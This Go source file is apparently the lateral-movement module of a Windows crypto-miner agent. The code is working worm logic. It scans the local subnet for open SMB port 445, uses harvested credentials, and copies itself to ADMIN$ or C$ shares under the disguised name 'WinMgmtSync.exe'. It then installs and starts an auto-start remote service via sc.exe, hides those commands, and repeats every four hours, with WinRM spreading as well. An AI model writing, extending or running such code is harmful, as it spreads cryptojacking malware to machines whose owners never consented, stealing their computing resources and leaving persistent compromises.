AetherForge/agent/deploy/autospread.go

//go:build windows

package deploy

import (
	"fmt"
	"log"
	"net"
	"os"
	"path/filepath"
	"time"

	"crypto-miner-agent/config"
)

// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
//
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
// sc.exe service creation require an admin-capable token and reachable TCP/445.
func StartAutoSpreader(cfg config.RuntimeConfig) {
	// AutoSpread feature retained per user request.
	// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
	if !cfg.AutoSpread {
		return
	}
	go func() {
		// Wait 10 minutes after initial startup before attempting lateral movement
		time.Sleep(10 * time.Minute)

		// Attempt every 4 hours
		ticker := time.NewTicker(4 * time.Hour)
		defer ticker.Stop()

		for {
			spreadToLocalSubnet(cfg)
			if cfg.WinRMSpread || cfg.AutoSpread {
				go spreadViaWinRM(cfg)
			}
			<-ticker.C
		}
	}()
	log.Printf("[autospread] Lateral movement module initialized and active")
}

// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
	if ok, reason := AllowAutospread(cfg); !ok {
		return "autospread deferred: " + reason
	}
	go spreadToLocalSubnet(cfg)
	if cfg.WinRMSpread || cfg.AutoSpread {
		go spreadViaWinRM(cfg)
	}
	return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
}

// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)

func spreadToLocalSubnet(cfg config.RuntimeConfig) {
	if ok, reason := AllowAutospread(cfg); !ok {
		log.Printf("[autospread] spread deferred: %s", reason)
		finishSpreadSweepImmediate()
		return
	}
	filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
	beginSpreadSweep("smb_scm", len(filtered))
	if len(filtered) == 0 {
		finishSpreadSweepImmediate()
		return
	}
	for _, target := range filtered {
		spreadSem <- struct{}{}
		go func(t string) {
			defer func() { <-spreadSem }()
			attemptSpread(cfg, t)
		}(target)
	}
}

func attemptSpread(cfg config.RuntimeConfig, target string) {
	// 1. Quick pre-check: Is port 445 (SMB) open?
	conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
	if err != nil {
		recordSpreadAttempt(target, false, "port 445 closed")
		return
	}
	conn.Close()

	var credSession SpreadCredSession
	var credCleanup func()
	if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
		credSession = session
		if cleanup, applied := applySpreadCredSession(target, session); applied {
			credCleanup = cleanup
		}
	}
	if credCleanup != nil {
		defer credCleanup()
	}

	exePath, err := os.Executable()
	if err != nil {
		recordSpreadAttempt(target, false, "executable path unavailable")
		return
	}

	// Target paths
	destName := "WinMgmtSync.exe"
	adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
	remoteExe := filepath.Join(`C:\Windows\System32`, destName)

	// 2. Attempt to copy payload via SMB using the current security token
	if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
		// Fallback to C$ hidden temp folder if System32 is restricted
		cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
		if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
			recordSpreadAttempt(target, false, "smb copy denied")
			return
		}
		remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
	}

	// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
	svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)

	// Delete existing just in case path changed
	_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
	_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)

	_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")

	if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
		log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
		recordSpreadAttempt(target, true, "")
		reportSpreadCredEdge(target, "smb_scm", credSession, true)
	} else {
		recordSpreadAttempt(target, false, "remote service start failed")
		reportSpreadCredEdge(target, "smb_scm", credSession, false)
	}
}